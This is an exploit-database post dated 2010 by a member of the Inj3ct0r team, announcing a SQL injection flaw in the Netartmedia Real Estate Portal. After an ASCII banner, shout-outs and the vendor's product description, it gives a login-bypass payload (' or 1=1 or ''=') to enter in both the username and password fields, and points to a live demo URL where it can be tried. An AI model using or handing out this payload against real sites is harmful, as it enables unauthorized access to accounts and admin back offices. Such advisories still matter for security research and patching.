Netartmedia Real Estate Portal SQL Injection Vulnerability

==========================================================
Netartmedia Real Estate Portal SQL Injection Vulnerability
==========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Netartmedia Real Estate Portal SQLi Vulnerability
Date : june, 28 2010
Critical Level     : HIGH
Vendor Url : http://www.netartmedia.net/realestate/demo.html
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
Real Estate Portal allows you to launch powerful and professional looking real estate portals
with rich functionalities to post properties for sale or rent, search in the database, show featured ads and many others. The private sellers

can manage their ads at any time through their personal administration space. The product includes special functionalities for real estate

agents (to post and manage multiple ads) and affiliates (to earn commissions from the earnings from property ads posted through their links).

Real Estate Portal comes also with a powerful back office application providing full control over the web site (structure management,

templates, server side forms, detailed statistics) and the real estate portal (ads, sellers, agents, affiliates, statistics) to the

administrators.
###############################################################################################################

Xploit: SQLi VUlnerability

 
use this sql combo both in username and password ' or 1=1 or ''=' in the login section

DEMO URL : http://www.wscreator.com/realestate20/index.php

###############################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2018-03-02]  #